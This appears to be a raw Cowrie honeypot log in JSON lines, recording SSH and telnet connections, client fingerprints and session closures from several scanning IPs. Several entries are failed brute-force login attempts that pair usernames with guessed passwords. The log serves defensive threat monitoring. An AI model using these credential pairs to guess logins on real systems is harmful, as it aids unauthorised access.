{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36692,"dst_ip":"10.17.0.5","dst_port":23,"session":"e86cf1b5b3e2","protocol":"telnet","message":"New connection: 152.42.224.71:36692 (10.17.0.5:23) [session: e86cf1b5b3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:41.049520Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34138,"dst_ip":"159.203.135.109","dst_port":22,"session":"7405af27874b","protocol":"ssh","message":"New connection: 31.40.204.166:34138 (159.203.135.109:22) [session: 7405af27874b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:41.100069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:41.105347Z","src_ip":"31.40.204.166","session":"7405af27874b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.05930852890015,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:41.144682Z","src_ip":"152.42.224.71","session":"c49db44761cf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:41.228806Z","src_ip":"31.40.204.166","session":"7405af27874b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"chris","message":"login attempt [aaa/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:41.682344Z","src_ip":"31.40.204.166","session":"7405af27874b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:42.812225Z","src_ip":"31.40.204.166","session":"7405af27874b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.813419103622437,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:45.640037Z","src_ip":"152.42.224.71","session":"30b0ef74ee1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.367175579071045,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:47.103424Z","src_ip":"152.42.224.71","session":"7811435a0ff8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.2140998840332,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:47.602243Z","src_ip":"152.42.224.71","session":"8e2419557ab6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.07850766181946,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:49.630281Z","src_ip":"152.42.224.71","session":"20df626c1830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.64652490615845,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:50.187448Z","src_ip":"152.42.224.71","session":"0da875982dbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":46666,"dst_ip":"159.203.135.109","dst_port":22,"session":"dabe1b03d276","protocol":"ssh","message":"New connection: 101.36.108.213:46666 (159.203.135.109:22) [session: dabe1b03d276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:52.540106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:52.544991Z","src_ip":"101.36.108.213","session":"dabe1b03d276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:52.766140Z","src_ip":"101.36.108.213","session":"dabe1b03d276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":35674,"dst_ip":"159.203.135.109","dst_port":22,"session":"85ff51d44a24","protocol":"ssh","message":"New connection: 119.28.115.94:35674 (159.203.135.109:22) [session: 85ff51d44a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:53.011539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:53.015454Z","src_ip":"119.28.115.94","session":"85ff51d44a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:53.244349Z","src_ip":"119.28.115.94","session":"85ff51d44a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59316,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc7f006aa577","protocol":"ssh","message":"New connection: 31.40.204.166:59316 (159.203.135.109:22) [session: fc7f006aa577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:53.311453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:53.318305Z","src_ip":"31.40.204.166","session":"fc7f006aa577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:53.493570Z","src_ip":"31.40.204.166","session":"fc7f006aa577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"GBHalso98","message":"login attempt [root/GBHalso98] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:53.680820Z","src_ip":"101.36.108.213","session":"dabe1b03d276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:54.115662Z","src_ip":"31.40.204.166","session":"fc7f006aa577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":48502,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc8e1c5bd12f","protocol":"ssh","message":"New connection: 43.156.227.3:48502 (159.203.135.109:22) [session: bc8e1c5bd12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:54.125119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:54.130172Z","src_ip":"43.156.227.3","session":"bc8e1c5bd12f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mo123","message":"login attempt [root/mo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:54.193276Z","src_ip":"119.28.115.94","session":"85ff51d44a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:54.367595Z","src_ip":"43.156.227.3","session":"bc8e1c5bd12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:54.901109Z","src_ip":"101.36.108.213","session":"dabe1b03d276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:55.299822Z","src_ip":"31.40.204.166","session":"fc7f006aa577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ford","message":"login attempt [root/ford] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:55.345098Z","src_ip":"43.156.227.3","session":"bc8e1c5bd12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:55.426313Z","src_ip":"119.28.115.94","session":"85ff51d44a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34752,"dst_ip":"10.17.0.5","dst_port":23,"session":"3740bb335eff","protocol":"telnet","message":"New connection: 152.42.224.71:34752 (10.17.0.5:23) [session: 3740bb335eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:55.458893Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:56.584998Z","src_ip":"43.156.227.3","session":"bc8e1c5bd12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53330,"dst_ip":"10.17.0.5","dst_port":23,"session":"75f555383901","protocol":"telnet","message":"New connection: 152.42.224.71:53330 (10.17.0.5:23) [session: 75f555383901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:57.138510Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53344,"dst_ip":"10.17.0.5","dst_port":23,"session":"48d4b4e43eca","protocol":"telnet","message":"New connection: 152.42.224.71:53344 (10.17.0.5:23) [session: 48d4b4e43eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:24:59.677025Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53346,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c3403d6f6f6","protocol":"telnet","message":"New connection: 152.42.224.71:53346 (10.17.0.5:23) [session: 2c3403d6f6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:01.143776Z"}
{"eventid":"cowrie.session.closed","duration":34.25079131126404,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:02.973230Z","src_ip":"152.42.224.71","session":"aee8772e5a8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.3558874130249,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:03.495521Z","src_ip":"152.42.224.71","session":"c6ba7de45008","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38516,"dst_ip":"159.203.135.109","dst_port":22,"session":"27c333a6329c","protocol":"ssh","message":"New connection: 31.40.204.166:38516 (159.203.135.109:22) [session: 27c333a6329c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:05.519206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:05.530601Z","src_ip":"31.40.204.166","session":"27c333a6329c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:05.708847Z","src_ip":"31.40.204.166","session":"27c333a6329c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"1234567890","message":"login attempt [fastuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:06.595056Z","src_ip":"31.40.204.166","session":"27c333a6329c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:07.797430Z","src_ip":"31.40.204.166","session":"27c333a6329c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.51","src_port":55016,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c5a1e808efc","protocol":"ssh","message":"New connection: 208.87.243.51:55016 (10.17.0.5:22) [session: 3c5a1e808efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.121356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.126875Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40692,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a3579e3f65d","protocol":"telnet","message":"New connection: 152.42.224.71:40692 (10.17.0.5:23) [session: 3a3579e3f65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.132004Z"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:08.197360Z","src_ip":"208.87.243.51","session":"3c5a1e808efc","protocol":"ssh"}
